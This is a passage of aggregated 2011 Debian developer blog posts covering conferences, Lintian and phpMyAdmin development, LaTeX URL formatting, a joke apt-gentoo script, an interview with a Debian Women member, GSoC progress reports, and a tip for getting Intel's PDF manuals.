Search Results: "xam"

18 August 2011

Thorsten Glaser: FrOSCon 2011

This year without our friends from Grml, but The MirOS Project (all two active developers and our Booth Babe gecko2@) will of course attend FrOSCon, nicknamed Froschkon, again. We ll have a pre-event meal time at my favourite Jugoslawian Restaurant on Friday (20:00 CEST) contact me privately for the co rdinates if interested. On Saturday and Sunday we ll staff a booth and answer questions about the many projects we have (more or less) running, including but not limited to paxmirabilis (aka MirCPIO), The MirBSD Korn Shell aka mksh(1), jupp the editor, and developers private projects such as slowly undermining Debian or Google-Go. While slow we are still working on World Domination. And teaching people good shell programming by example code. We might even bring CDs, but I m still working on the ISO last night s build aborted because the OS grew a bit making the floppy image not fit any more. (Solution, drop ping(8) and rtsol(8), but re-add sf(4) and bce(4) now that they fit again.)

Jo Shields: Why we mustn t allow smartphones to become a 2 or 3 horse race

A very popular refrain on tech sites is that the high street cannot support multiple competing phone ecosystems. It s a reasonable position to take. Do phone stores want to train their employees on six or seven different OSes? Do consumers understand the differences, and should they need to? Do app developers want to rewrite their app six or seven times? The obvious answer to all of these is no . Stores only want to train their employees once, developers want to write their app once. Choice is bad, because choice is complicated. You can have it in any colour, so long as it s black. The problem is, we need those competing efforts, for the entire market to increase in quality. Until the iPhone appeared on the market, Google s nascent mobile phone OS looked more like a poor man s Blackberry OS than what ended up shipping on the HTC Dream and later devices. Windows Phone 7 didn t ship with any multitasking at all and now the Mango update will be incorporating a multitasking model largely thieved from WebOS. iOS only just got support for updating the phone s firmware without being plugged into a host PC via USB, something which a few Android devices and all WebOS devices have always supported. Consider, for comparison, the web browser market. It would be easiest if there was only one web browser but that browser would quickly stagnate and cause pain, the way Internet Explorer 6 did when it had almost the entire market. It wasn t until upstarts like Firefox and Opera and Chrome and more started showing off their unique ideas that the entire pack started improving including IE, with IE9 supporting most of the features that the competition introduced. Every smartphone shipping today has something to offer that other devices don t and every smartphone OS shipping today has something to offer that other OSes don t. iOS has the widest app catalog. Android is Open Source (FSVO Open ). WebOS has the best multitasking, and Just Type . Windows Phone 7 offers a drastic new user interface paradigm. Blackberry OS is built for messaging tasks, and has the best sysadmin control. Symbian is well, okay, sometimes there s a time to let go but the same applies for web browsers too. Smartphones are communication devices that people use every day of their lives, and every consumer has different needs we shouldn t try to push them into an ill-fitting category, just to satisfy ourselves that it s probably only possible for three mobile platforms to succeed in the mass-market . For some people, Blackberry OS really *is* the best choice, and no matter how much you pretend, an iPhone would enhance their lives. And as for the app question tough shit. Plenty of app developers only target iOS even though Android is overtaking in the market, and if they really want to reach as many people as possible, then use a cross-platform framework like PhoneGap or some of Xamarin s products. Single-ecosystem apps are a low-effort push to reach as many people possible with minimal investment, and the only way to satisfy that class of developer is to eliminate ALL competition in the marketplace iOS-only devs are this decade s IE6-only devs. Everyone is entitled to their opinion, but I for one am sick of all the tales of doom and gloom that immediately surround any effort which isn t iOS or pure Android. We have a marketplace of ideas, which we should be celebrating, and not dumping on. I m eagerly awaiting delivery of my HP Pre 3, with all the unique possibilities it offers me which simply another Android device wouldn t have. And the big difference between WebOS and Nokia s Maemo/MeeGo efforts, for those who are still doubtful, is HP haven t spent years trying to deliberately sabotage the platform. Give it time. If I m wrong, the worst-case scenario is being lumbered with an awesome phone.

12 August 2011

Chris Lamb: Careful what you wish for...

Via #241343:
* Package name    : apt-gentoo
  Version         : 0.0.1
* URL             : http://www-jcsu.jesus.cam.ac.uk/~mma29/apt-gentoo/
* License         : GPL version 2 or above
  Description     : enhanced package installation
 apt-gentoo enhances the Debian package installation experience to make
 it fully competitive with newly-popular source-based distributions.
 As packages are installed, apt-gentoo automatically downloads their
 build logs from the buildd network. The logs are then slowly scrolled
 past on the user's terminal to simulate building the software on the
 local machine.
 [..]
So, something like:
#!/usr/bin/env python
#
# Insert into /etc/apt/conf.d/50apt-gentoo:
#
# DPkg  
#         Pre-Install-Pkgs   "/path/to/apt-gentoo   true";  ;
#  ;
import time
import random
import urllib
import urllib2
import urlparse
import fileinput
from lxml import etree
from debian import debfile
for filename in fileinput.input():
    pkg_data = debfile.DebFile(filename.strip()).debcontrol()
    url = "https://buildd.debian.org/status/logs.php?%s" % urllib.urlencode( 
        'pkg': pkg_data['Package'],
        'ver': pkg_data['Version'],
        'arch': pkg_data['Architecture'],
     )
    html = etree.parse(urllib2.urlopen(url), etree.HTMLParser())
    link = html.xpath("//table[@class='data logs']//td[3]/a")
    try:
        fetch_url = urlparse.urljoin(
            'https://buildd.debian.org/status/',
            link[0].get('href'),
        )
    except IndexError:
        continue
    html = etree.parse(urllib2.urlopen(fetch_url), etree.HTMLParser())
    try:
        log = html.xpath('//pre')[0].text.split('\n')
    except IndexError:
        continue
    for line in log:
        print line
        time.sleep(random.random() * 0.09)
Package/source and example installation transcript.

11 August 2011

Michal Čihař: New features in phpMyAdmin

As our GSoC students are approaching quite well, we've already numerous features included in current master, which are worth mentioning. You can try all bellow mentioned features on our demo server. Grid editing provides really simple way of editing data, by simply clicking on it while browsing table. Just try it on some table. Performance suggestions are part of completely reworked server status and can give you valuable information how to tune your server. You can see it on demo server. Another nice addition to server status page is live monitor, which charts basic server information in real time. Again, try it on demo server (you need to press start for now, this will probably go away soon). Other big, thought not that fancy change is complete support for routines. This includes stored procedures/functions, triggers and events. For example see routines in sakilla database. Of course there is much more to mention, like improving of AJAX in lot of places, GIS support. On the other side, we've also recently decided to remove support for Microsoft Excel import and export as used PHPExcel library seems to suffer some licensing issues, which prevented phpMyAdmin from being included in Fedora. You can still use CSV or OpenDocument formats though.

Filed under: English Phpmyadmin 0 comments Flattr this!

9 August 2011

Matt Zimmerman: Where s your data center?

Thanks to the tremendous growth of social applications over the past five years, we have our pick of services for collecting, saving and sharing our experiences online. We each have collections of photos, contacts, messages and more, spread across multiple popular services like Twitter, Facebook, LinkedIn, as well as many less popular services which address particular needs or preferences. We re also producing a wealth of exhaust data through our browsing history, mobile sensors, transactions and other activity streams that we rarely if ever examine directly. This ecosystem is becoming so complex that it s easy to lose track of what you ve created, shared or seen. We need new tools to manage this complexity, to make the most of the wealth of information and connections available to us through various services. John Battelle calls these metaservices , and points to growth in the number of connections between the services we use. I expect that this next age of information tools will center around data rather than services. Data is a common denominator for these online experiences, a bridge across disparate services, technologies, social graphs, and life cycles. Personal data, in particular, has this property: the only thing that links together your photos on Flickr, Facebook, Picasa and Twitpic is you. So where s your data center ? I don t anticipate the emergence of a single service where you do everything. There will continue to be innovation in the form of new and specialized services which meet a particular need very well. There won t be a single service which is everything to everybody. Instead, I foresee us wanting to track, save, use and control all of our stuff across the web. That s why my new colleagues and I are working to make that possible. There s open source code available on github, a vibrant IRC channel (#lockerproject on Freeenode), and lots more I d like to write about it. But it s time to get back to work for now

8 August 2011

Niels Thykier: Updates in the Lintian World

Documentation! That is what the next version of Lintian will have. In 2.5.1, Lintian
had support for adding options in the lintianrc. Unfortunately, the
user had to guess the syntax, which makes the feature less useful.
With the next release, the manpage and the example config file[1]
will contain documentation and examples. The User Manual[2] also saw some improvements. Particularly, it will
mention that lintian can process a .changes file and that it does
cross-package checks. Of course, it also documents the format of the
new Vendor Profiles. Though even with these improvements, the current
documentation still leaves much to be wanted. The last unpack script (unpack-srcpkg-l1) was finally removed and
was replaced by a smarter version of index collection. This means
that Lintian can now schedule index in parallel with a few other
collections (namely unpacked, which is the current bottleneck). The speed improvement is probably not noticeable, but it was also a
good time to upgrade our index collection to properly handle
multi-tarball source packages. Previously Lintian only extracted the
index from the base tarball. The fields collection also saw some attention. Previously it
extracted fields from the control file (in the .deb, etc.) into a
directory. Each field became a file and the value of the field would
be written in the field. Today, the collection basically looks like
this:
[...]
if (-d 'fields') 
    system('rm', '-rf', 'fields') == 0
        or die 'Could not remove old fields directory';
 
[...]
It has been deprecated the minute Lintian::Collect API saw a little
upgrade to fetch these fields itself. This change should remove some
unnecessary file I/O in a normal run[3]. If you have a friend with his/her own little home-grown Lintian check
(or collection)[4], they will have to update it to A) not depend on
fields, B) use the Lintian::Collect API for accessing fields and C)
depend on index for source packages if it uses the index information.
For the latter, Lintian::Collect has grown support for source package
index. Lintian has also seen a lot of decrufting in the 2.5.2 development
cycle. The new test suite now features skeletons ( standard base
environments ) and template support for all package test suites[5]. This means it takes a lot less of writing (or copy/waste) to generate
a simple specialized test in the low-level test suites. As a part
of cleaning up the test-suites, I got to run:
$ git rm t/ source,debs /*/copyright
without breaking a single test. I have to admit that commit 8584996
is among my favorite ones in the 2.5.2 development cycle. Finally, if you are one of the few that have ever used the
--packages-file option, then I am pleased to inform you that it will
be deprecated in 2.5.2 and replaced by --packages-from-file. The
old option had some specialized format, whereas the new option parses
the file (or stdin) as one package per line . The latter being far
more "find -name '*.deb' "-friendly. In case you are wondering why --packages-file is deprecated, here is
the packages-file parser from lintian 2.5.1:
    while (my $line = <$pkgin>)  
	chomp($line);
	my (undef, undef, undef, $file) = split(/\s+/, $line, 4);
	$pool->add_file($file);
     
- [1] Installed as /etc/lintianrc [2] Installed as /usr/share/doc/lintian/lintian. html/,txt.gz [3] Namely, 2 opens + 2 closes + 1 read and one write for each field
in every package (the fields were cached, once they were read). Not
to mention a directory listing and having to remove the files again
later. [4] Of course, you do not have such a thing Because we all know
that no one (except this not too close friend of yours) messes with
Internal APIs of other projects [5] The exception being that the changes suite does not have a
standard base environment, since it would be completely unused.

Joachim Breitner: Nicer URL formatting in LaTeX

To format URLs in LaTeX, one usually uses the url package (either directly, or indirectly via hyperref). By default, it typesets the URL in a mono-spaced font. Maybe this was a good idea some years ago, when URL were not ubiquitous. Today, I do not think they need neither the emphasis nor the explictit technical association that is caused by changing the font. And last but not least, mono-spaced fonts are very wide.
<embed src="http://www.joachim-breitner.de/various/latex-url-font.svg" type="image/svg+xml" width="400">
So url offers the command \urlstyle. I prefer to set it to sf, because URLs tend to look better without serif. In the picture above (also available as PDF), that is the second line. But this still has issues: The double slash at the beginning is spaced out more than it should, given that, at least to most readers, http:// is a single entitiy. In addition, the underscore is far to wide (this only happens if you use the T1 font encoding). Hence I modified the typesetting of both the slash and the underscore to achieve the appearance in the third line. The code is derived from the one given on this blog post by Nei, with slightly less kerning of the slashes and with extending instead of redefining \UrlSpecials and the underscore handling added. Here is the full code for the picture given above, to use it you need to copy the part between and including \makeatletter and \makeatother into the preamble of your document:
\documentclass article 
\usepackage url 
\usepackage[T1] fontenc 
\usepackage[top=3pt, bottom=3pt, left=3pt, right=3pt, paperwidth=6.7cm, paperheight=1.6cm] geometry 
\begin document 
\noindent
\url http://example.com/with_underscore/ \\
\urlstyle sf 
\url http://example.com/with_underscore/ \\
\makeatletter
% Inspired by http://anti.teamidiot.de/nei/2009/09/latex_url_slash_spacingkerning/
% but slightly less kern and shorter underscore
\let\UrlSpecialsOld\UrlSpecials
\def\UrlSpecials \UrlSpecialsOld\do\/ \Url@slash \do\_ \Url@underscore %
\def\Url@slash \@ifnextchar/ \kern-.11em\mathchar47\kern-.2em %
     \kern-.0em\mathchar47\kern-.08em\penalty\UrlBigBreakPenalty 
\def\Url@underscore \nfss@text \leavevmode \kern.06em\vbox \hrule\@width.3em 
\makeatother
\url http://example.com/with_underscore/ 
\end document 

Flattr this post

7 August 2011

Rapha&#235;l Hertzog: People behind Debian: Margarita Manterola, Debian Women member

Photograph taken by Julia Palandri

When I think about Margarita, I always remember her as a friendly and welcoming person. Like most of the Debian Women members by the way. But she likes to spread some love and organized a Debian Appreciation Day for example. I think I met her in real life for the first time at Debconf 6 in Oaxtepec (Mexico). She deeply cares about Debian in general. She has proven it multiple times with her DPL candidacy and by giving talks like Making Debian rule again. One last thing, Debconf11 is just over and you will see that Debconf4 has had a big influence on Marga. My advice is simple: next time there s a Debconf on your continent, make sure to take a few days off and come to meet us! It really gives another picture of the Debian community. Now let s proceed with the interview. Raphael: Who are you? Margarita: I m Margarita Manterola, a Software Developer from Argentina. I work developing software in Python in a Debian-friendly company during the day, and teach programming at a local university during the evenings. I m married to Maximiliano Curia who is also a Debian Developer, most of our Free Software work has been done together. I only maintain a handful of packages in Debian, I m more interested in fixing bugs than in packaging new software. I ve also been a part of the organizing team of many of the previous Debian Conferences. One of the biggest commitments and the biggest success of my participation in Debian was being part of the organizing team of DebConf8, in Argentina. Raphael: How did you start contributing to Debian? Margarita: I started using Debian around 2000. Soon after we had learned the grips of general GNU/Linux usage, Maxy and I started giving an introductory course at our local university, and became quite involved with the local LUG. At some point in 2002/2003 I became a Debian Bug Reporter : most of my friends would report bugs to me, and I would then write them in the proper form to the BTS. I would also be very attentive about reporting any bugs that I might encounter myself trying to create good bug reports. The turning point in my participation in Debian was DebConf4 in Porto Alegre, Brazil. Being so close to Argentina meant that we felt specially invited to be there, and Maxy and I decided to go to DebConf for our honeymoon. We didn t really know much about DebConf dynamics, but we were really eager to learn more about Debian and become more involved. What happened was that meeting with DDs from all over the world transformed our lives, we became part of the Debian family and wanted to be more and more involved. Soon after that we both started maintaining packages and not long after that, applied to become Developers. The Debian Women project also meant a lot to me. I felt encouraged all along the way, encouraged to learn, to ask questions and to lose the fear of making mistakes. I became a Debian Developer on November 2005. Since then, Debian has always been one of the most important things I do in my life. Raphael There was a Debian Women BoF during debconf. What are the plans for Debian Women in the upcoming months? Margarita: I was not there in person, but thanks to the awesome work of the video team, and of Christian Perrier s typing efforts when something failed, I was able to experience much of what was discussed. :) One of the many points that came up during the BOF is that many people Want to help but don t know where to start or how to go about it. It s a challenge for the Debian Women project to find a way to allow these people to become involved in Debian through Mini projects or something like that. Another of the subjects that was brought up was the Debian Women mentoring project, which has been going on for quite a while now, but lacks enough publicity. So, we need to reach more people about it, and maybe also improve it with some templates, similar to the New Maintainer templates, so that mentees that don t know where to start have some sort of general path to follow. Raphael: You created very useful diagrams documenting how package maintainer scripts are invoked by dpkg. How did you do it and was that a useful experience? Margarita: I did those diagrams to be able to answer one of the questions in the NM templates, regarding the order of the maintainer script execution. Answering the question in text was basically copying and pasting the part of the Debian Policy that explained it, which wasn t really too clear for me, so I decided to go and make a diagram of it, so that I could really understand it. I did it by the best of all debugging techniques: adding prints to each of the maintainer scripts, and testing them in all the different orders that I could think of. It was a useful experience at the time, because I learned a lot of how maintainers scripts work. I didn t expect the diagrams to become so famous, though, I only did them to answer one NM question, that I assumed most other people had already answered before :) Raphael: You participated in a DPL election. This is a big commitment to make. What were your motivations? Margarita: As I said, I was part of the organizing team of DebConf8, in Argentina. Which was quite a success, a lot of people enjoyed it and praised the good work that had been done by the local team. During said DebConf8, I had a dream (it was almost a nightmare, actually): I woke up and just like that, I was the DPL. I spoke to some people about this dream and to my complete surprise many said that I should actually do it. After giving that possibility a year and a half of thoughts, during the 2010 campaign I was talked into participating myself as a candidate, and it was a very interesting experience. However, I m very glad that Zack got elected and not me, I think he makes a much better DPL that I would have made. Raphael: What s the biggest problem of Debian? Margarita: I think the main problem that we have is our communication, both inside the project and outside the project. Most of us are very technical people, our skills lay in the technical part of Debian (preparing packages, fixing bugs, writing software, administering systems) not in the social part. And thus, we lack a general empathy that is quite needed when interacting with people from all over the world. Raphael: Do you have wishes for Debian Wheezy? Margarita: Not particularly. I do want it to be a great release with good quality, stable software. I would also like to keep making Debian more and more universal with each release, making it more user friendly, more accessible, and more robust than any other previous release. Raphael: Is there someone in Debian that you admire for their contributions? Margarita: I admire a lot of people in Debian. There s a lot of people that contribute a lot of time to Debian, amounts of time that I can t begin to understand how they can afford. I admire Stefano Zacchiroli, our current project leader. And Steve McIntyre, the project leader before him. Also Bdale Garbee, who s also been a DPL in the past. Making this list I realize that Debian has been blessed by quite a number of great leaders in the past. I admire Holger Levsen, for his contributions to the DebConf video team, that have made it possible year after year for the whole project to participate in DebConf remotely. I admire Steve Langasek and Andreas Barth (etch is still my favourite release). I admire Christian Perrier for his work on internationalization. I admire Joerg Jaspert for the incredible amounts of time that he puts into Debian. And actually, I could go on admiring people all night long. I admire so many people that this interview could become a very boring list of names. I guess it s better to leave it at saying that Debian is lucky to have quite a lot of excellent hackers around.
Thank you to Marga for the time spent answering my questions. I hope you enjoyed reading her answers as I did. Subscribe to my newsletter to get my monthly summary of the Debian/Ubuntu news and to not miss further interviews. You can also follow along on Identi.ca, Twitter and Facebook.

14 comments Liked this article? Click here. My blog is Flattr-enabled.

Lars Wirzenius: Missing roles in software: build engineers

The construction, deployment, and use of software involves a number of roles. I do not have an exhaustive list, but I have a couple in my list that seem to be surprising to some developers. In the traditional Unix (mainframe) model, there are three roles: In my personal reality distortion bubble, this model is badly broken, and has been since the middle of the 1990s. Here's an updated model: A common misconception is that distro developers merely compile software and shove the binaries into glorified tarballs. That is, of course, part of the job, but it's also the part that most distro's tools completely automate. There's a lot more to do, though. For example, just keeping track of known security problems among thirty thousand packages, and making or finding fixes for them, and testing the fixes, and releasing updates for them, takes up quite a bit of effort. Another thing distro developers have to spend effort on is dealing with the multitude of build systems upstream projects use. The freedom to experiment with different solutions is one of the cornerstones of free software development. However, when it comes to build systems, many of them are not serious experiments, and instead are quick hacks thrown together to imperfectly solve problems that sometimes should not exist at all. This highlights one role prominently still missing: build engineer. Their task is to solve the problem of taking the upstream source code, dealing with build-time configuration issues, actually building the software, and then installing it in whatever location the person installing the software wants it installed. Further, their task is to provide the software to do this in a sensible manner. Build engineers already exist, of course. For example, the developers of the autotools suite are such. Every upstream project also has someone who sets up autotools for their project, or some other build tools, or writes them from scratch for that project. However, what's lacking, perhaps, is recognition that build engineering is an important part of software development. Mostly, build systems are set up (or, worse, written) by upstream developers to fit their narrow view of how things should work, a view anchored in the old, broken model of roles. This attitude matters, because for the most part, build systems do not seem to be written to the same quality standards as the rest of the upstream software. For example, when an upstream developer writes a Makefile, and does not consider distro development, they'll often make it hard to differentiate between install-time location and run-time location of various components of the software. Thus, it might be hard for the Debian packager to get the software installed into debian/tmp rather than /usr/local, because the build system hardcodes debian/tmp/usr/lib/foo/plugins as the location of the plugins, since that's where the software gets installed, even if, in the Debian scenario, it's not where it gets run from. Luckily for much software these problems have been solved or avoided. Indeed, as crufty as autotools is, it's one of the things that has kept upstreams sane about their build systems, by providing such good tools that it's more work to write a new, bad one than to use autotools. We currently have roving bands of translators, who move from project to project and translate them into various natural languages. I would like to see a future where there are people dedicated to build engineering, who go from project to project and set up or fix their build problems. A good build system, once set up, should require a minimum of work to keep working. I'd also like to see much improvement in the build software. As good as autotools has been to free software, I'm sure there's a lot of room for improvement. For example, autotools requires setting up a bunch of boilerplate files in each project, which seems like something that could be avoided by relying on specific conventions. However, those improvements are a separate topic. I might go into them some day, if I decide to start developing build tools myself, but until then, I'll let those who do that decide how they want to do it. PS. There are lots more missing roles in my model of free software development, of course. For example, security engineers (find and fix problems, but also provide ways to prevent problems, or limit their scope), internal politicians (keep the project's human wheels from squeaking too much), diplomats (keep different projects from clashing too much), release engineers, etc. Someone should make an exhaustive list.

5 August 2011

Rudy Godoy: Compute Clusters Integration for Debian Development and Building Report 4

Hello, this is the fourth report for the project. First, I d like to
apologize for being late, I took a short trip over the weekend and
missed the deadline. This time I ve good news for my project. As
expected I ve made the necesary changes to have Eucalyptus support ARM
images. The approach was extending and exposing an arch field that
will be used by libvirt s XML domain file. I m working currently on
having the involved functions working with the new extension and I
expect to have this done over the middle of the next week. What was done so far

- Extended the ncInstance_t struct on util/data.h adding the archId
parameter. This struct keeps the information regarding a node (nc),
say RAM, Kernel, etc. Currently it has no way to set an arch in order
to be used later. typdef struct ncInstance_t
...
char reservationId[CHAR_BUFFER_SIZE];
char userId[CHAR_BUFFER_SIZE];
char archId[CHAR_BUFFER_SIZE]; // arch field added
int retries;
...

The Eucalyptus team was OK with this approach that I ve proposed few
weeks ago. For all my changes the approach is maintain compatibility
with existing features.
We still have to define if we are setting a default value, say amd64,
or keep it unset until the user sets one. For now we will be supporting
amd64 and arm as valid fields. - Modified the allocate_intance() function to support the archId
field. This involved adding a new parameter and detecting whether its
present and setting de value accordingly. This function is later used
by the doRunInstance() function in node/handlers_kvm.c - Modified the involved functions that are called by the KVM handlers
and result in passing parameters to the XML file generator for being
used by libvirt s and KVM and have the image running under
Eucalyptus. The new parameters and field are not required and only
being used if they are set with a value. The archId parameter has been
added as the last one, so existing function calls can work. This could
be rearranged later, but will involve a more extensive revision with
Eucalyptus developers. - I ve set a git local repo in order to keep track of the changes to
Eucalyptus. Since this part is a sort of a Eucalyptus branch I took
this approach. Steffen and I are discussing whether to release this as
a pkg-eucalyptus branch (as dpatch, using existing packaging). Either
way I m putting the diff files form my git repo over the wiki and will
put them on my site too. I plan to use git-svn in order to send them
later to the pkg-eucalyptus repo once we are settled with this. - Updated the project s wiki[1] page with information regarding all that s
involved on my work, so it can be re-played or resumed later. 1- http://wiki.debian.org/SummerOfCode2011/BuildWithEucalyptus/ProjectLog What I plan to to over the next weeks
-
- Finish the modifications to the relevant functions. Expected dealine:
next week.
- Do integration tests:
Write a test program, there s an example under node/ that could be
helpful.
Generate the XML domain definition from Eucalyptus functions. The
full cycle: handler_kvm -> allocate_instance -> get_instance_xml ->
have the XML file properly generated -> qemu-kvm runs the instance
using the proper emulator (arm in our case).
- Test runnning the image I ve worked on the project s begining.
- Fixing bits and cooperate with the pkg-eucalyptus team on the
packaging bits.
- Talk to Eucalyptus so they adopt our patches.
- Rock and roll :) What would be nice to have after the project ends
-
- The Debian packaging *needs* work. I ve already discussed this on the
pkg-eucalyptus mailing list. I ve also committed myself to help on
that side even after the SoC ends.
- Talk with upstream and Ubuntu to coordinate the packaging efforts and
modifications to the software.
- Get adopters to use our work :) By now, few weeks about to finish the SoC, I can say that it s been a
good experience and as I stated I m planning to keep maintaing/working
on the software after that. I ve already joined the pkg-eucalyptus team
and plan to contribute actively. I m sad I didn t managed to get Debconf
this year, time was a constraint again, hopefully we can meet in 2012! I
guess that all by now! Best regards,
Rud

Dirk Eddelbuettel: New Rcpp master classes scheduled for New York and San Francisco

Together with Revolution Analytics, I will be offering two more one-day classes on the Rcpp package for seamless integration of R and C++. The format will follow the workshop Romain and I gave during the tutorial day preceding this year's R/Finance conference. The style will once again be hands-on, with copious concrete examples and solid coverage of most aspects of Rcpp and related packages such as RInside, RcppArmadillo and others. The eight-hour schedule contains about six hours of instruction, split into four sessions of around ninety minutes. This leaves ample time for both lunch and coffee breaks, and for informal discussions and Q+A. Two one-day classes will be offered: The first in New York on Saturday, September 28, 2011 and the second one two weeks later in San Franciso on Saturday, October 8, 2011. Please see the official course page for more details, concrete location info and maps as well as registration details. Feel free to contact me at the usual email address with questions.

4 August 2011

John Goerzen: Please. Stop. Removing. Features.

apt-get dist-upgrade is getting a little less fun these days. It s not because of a problem with Debian or with apt-get. It s because of things upstream authors are doing. It seems that upstreams, for some reason, like to remove features from new versions of software. The two recent examples to bite me are the removal of the Gnome Terminal features to play the bell through sound card rather than the console speaker, and the recent upgrade to gtkpod the best iPod music manager out there which removed the ability to actually, well, play music. Wha ? Earlier examples where when Gnome removed the ability to type a filename in the Open dialog box (remember that? thankfully reverted eventually.) KDE 4 was infamous for this too, with maybe thousands of instances (and they broke Amarok so badly that it didn t actually play music from my devices either.) I don t understand this. The Gnome people somehow thought that they knew better than I what options I might want, I guess. But I am totally baffled about gtkpod. All it ever did was call xmms (or something like it such as qmmp) with appropriate arguments to play a file. Simple, configurable, and supremely useful. Probably just a few lines of code. And even that is gone. There is a post by Ingo Molnar complaining that perhaps Gnome and KDE are trying to mimic the Apple and Google result without internalizing the process. Perhaps. It all seems so baffling to me though. Updated: rewrote introduction.

Aigars Mahinovs: Debconf 11 postmortem

Another year, another Debconf and now it is passed. Pictures are processes and all are now uploaded. We are still missing 25 names in the Debconf 11 group photo. With 265 people and 86 Mpix it is the highest resolution image we have had so far (Spain image had a bit more pixels, but a lot of them were outside the actual photo) and the largest number of people (Edinburgh photo had 248 people). The video team produced hundreds of gigabytes of footage, we had very interesting talks and debates and sometimes the AdHoc meeting room on the side was overcrowded with people in BoFs that were not on the initial schedule. It has been a very special kind of conference. As it always is. :)
As always, there were also some problems. I did not read the debconf-team mailing list, but I hear there was plenty of fun discussions to be had in the run-up to the event, some information on getting to the venue was not quite clear (that was quickly fixed as first people arriving to Debcamp were documenting their experience), the organizational dance with the food tickets was more elaborate than usually, both the day trip and the formal dinner were more self-driven than expected, vegetarian complaint level was about the same as usual (which is considered high by some) and the wireless in the hotel was very weak, also Saturday weddings are quite loud and run very late apparently.
To compensate for that we had: very sunny Debcamp, cheap beer (!!!), great quality accommodations, very good looking venue, good network at the venue (after initial scalability issues with the wireless), good food (that did sometimes run out, though), short distances to all locations, oh and did I mention cheep beer? What do we learn from this for next year? I am told that Debconf12 team has already had some meetings specifically to identify and learn from some shortcomings and strengths of this years conference. However, I think everyone of us might have an idea or two to add to the mix as well. For example, I think that BoF rooms are great and we should expand and solidify on that concept: take a page from unconference playbook have a board on-site where people can book slots for their BoF in one of the two rooms for tomorrow. Not far in advance and without moderation requirement of penta scheduling. In the evening the stickers can be taken down and tomorrows BoFs can be added to the schedule at that point, so the people can see online what is going on.
Also I think that we need some kind of coverage of the BoF room(s) from the video team. Even if that is in a form of a single self-service omnidirectional microphone where people could just walk into the room, press a single button and the audio would start streaming and recording.
In addition we could have a screen with the IRC channel of the room projected onto a screen on a side of the stage, to simplify getting questions off the channel. Recording that channel (as a text log) could also be useful.
It feels like post-conference assembly of the talk lists, presentations, links to the relevant recordings, photos, chat logs, ideas, comments, for every talk is very problematic in penta, should we perhaps just use wiki for that?
Any other ideas? And to finish off some more personal travel-inspired rambling. After visiting Paris, Zagreb, Banja Luka and (very shortly) Vienna on this trip it was very interesting to see similarities and draw some parallels, especially with the added context of Berlin and Riga. The similarities in city planning, street shops, brands and the way people go about their lives in these capitals are quite remarkable. I would even say that a trend can be seen where capitols of countries/regions that had troubles in the past (Bosnia more recently; Riga, Zagreb and East Berlin a bit more into the past) are now moving from their different pasts and converging towards the vision of the European capitol city living we see in cities like Paris. If you look at individual pieces you can even recognise milestones along this route and see when specific cities reach them (possibly in a different order than others). With that in mind you can even try to predict what might come next, like looking at Banja Luka and thinking that they might reach the point of upgrading their buses in the next 2-3 years, or comparing Riga and Zagreb we can see that Riga needs to soon choose a street and close it to car traffic to have more caf s, beer gardens and shops concentrated in that area. Or looking at Paris we might find a compelling idea, like clustering a lot of businesses of the same type (such as kitchen design) in the same street, so the customers know where they can go to have all the best choices available within a block. All in all this years Debconf for me was one with the most diverse experiences and the one that felt closest to home. I hope to see you all good people again next year! P.S. I do hope that Debconf12 dates are nailed down in the next 2 months, so we can start talking to air plane companies for group discounts immediately.

Yves-Alexis Perez: Access to Intel documentation in pdf (flash applet bypass)

[UPDATE]: A reader from planet debian (thank you Ross!) just made me noticed that this was definitely not useful. On the (standard) intel documentation page, there's some icons on the top right, like stuff for social networks (facebook, linkedin, twitter and some other), a print icon and a down arrow which I didn't notice at all but which is a direct download link to the PDF. Sorry Intel for doubting you! Starting recently, Intel has started to provide documentation using a flash pdf viewer (example here). This is really painful. I personnaly don't use flash (the flash player is not installed on most of my boxes), I have concerns over flash security wise and I don't like the fact it's proprietary, that the x86_64 version lags behind etc. On top of that, just *using* the flash pdf viewer is painful. It's slow, you're restricted to your browser, search is inexistent, you can't save them for reading them offline. Trying to dig a little inside the Intel website, I had a thought. Who in the world can't use flash? Linux people, yes (at least some of them) but nobody cares. But iPhone/iPad users don't have flash player on their OS, meaning they can't read Intel docs. Or can they? Thanks to the Inspect element tool in webkit browsers, one can easily watch the above website and see something interesting. The div containing the flash applet is style like:

<div id="viewerPlaceHolder" class="nonipad">

and just below we can see:
<div class="ipad hidden">
<a href="/content/dam/doc/manual/64-ia-32-architectures-software-developer-vol-1-manual.pdf" class="icon pdf" title="Headline">64-ia-32-architectures-software-developer-vol-1-manual.pdf</a>
<h2><a href="/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-1-manual.html" title="Headline">Intel 64 and IA-32 Architectures Developer's Manual: Vol. 1</a></h2>
<!-- <h3>Lorem Ipsum</h3> -->
<!-- <p>Lorem ipsum dolor sit amet, consectetur adip.</p> --> </div>
(I like the lorem ipsum part, too). The class ipad hidden is defined in the intel.iOS.css, which is included through:

<script type="text/javascript">
if ((navigator.userAgent.indexOf('iPad') != -1))
document.write('<link rel="stylesheet" type="text/css" href="/etc/designs/intel/us/en/css/intel.iOS.css" media="screen" />');

</script> <script type="text/javascript"> // </script>

So here's a solution!
TL;DR: So you want access to the real pdf link? Just set your user agent to the iPad (seems that iPhone works too) and you'll be presented with a link on a PDF icon. It should be possible to use a userscript or a userstyle for that too, though I can't remember how to write one right now.

1 August 2011

Nathan Handler: Google Summer of Code Report #4

Due to the midterm evaluation, this report will cover a span of 4 weeks. As a result, it will be quite a bit longer than my previous reports. One of the first things I did after my last report was create a FAQ for the project. At first, the FAQ was a plain text file living only in the git repository. Then, it moved to being maintained on the Debian wiki with a cronjob pulling it into my local repository for me to commit and push. Finally, the cronjob moved to wagner. The FAQ is not actually committed to the git repository, but it is available in the dextools instance running on wagner or on the wiki. There is also now a basic README file that is part of the git repository that simply points people to the FAQ on the wiki (so people who branch the repository can easily find the documentation). For those of you who have been reading my other reports and/or testing the dashboard, you have probably noticed the problems I was having getting the text boxes sized properly. After spending countless hours researching and testing different solutions, we finally decided to give up on this for the time being. Therefore, all of the size attributes have been removed from the text inputs, and the background color has been reset to its default value. This means that we will no longer experience the issue of very wide text boxes and a horizontally stretched table. However, it also means that long strings will get cut-off when displayed in a text input. Since my initial mockup design at the start of the summer, I have had the rows of the table zebra-striped. Based on some feedback from Paul Wise (pabs), I changed this so that the row colors are based on the status of the task. Open tasks are red, closed tasks are green, and in progress tasks are yellow. This makes it much easier to quickly see the progress of the project and find tasks you are interested in. My original dashboard consisted of one main dex.html file. This file used some javascript to pull in each project s task list. We felt that a much more common use case would involve a user only interested in one particular project. As a result, they would not be likely to use the select boxes 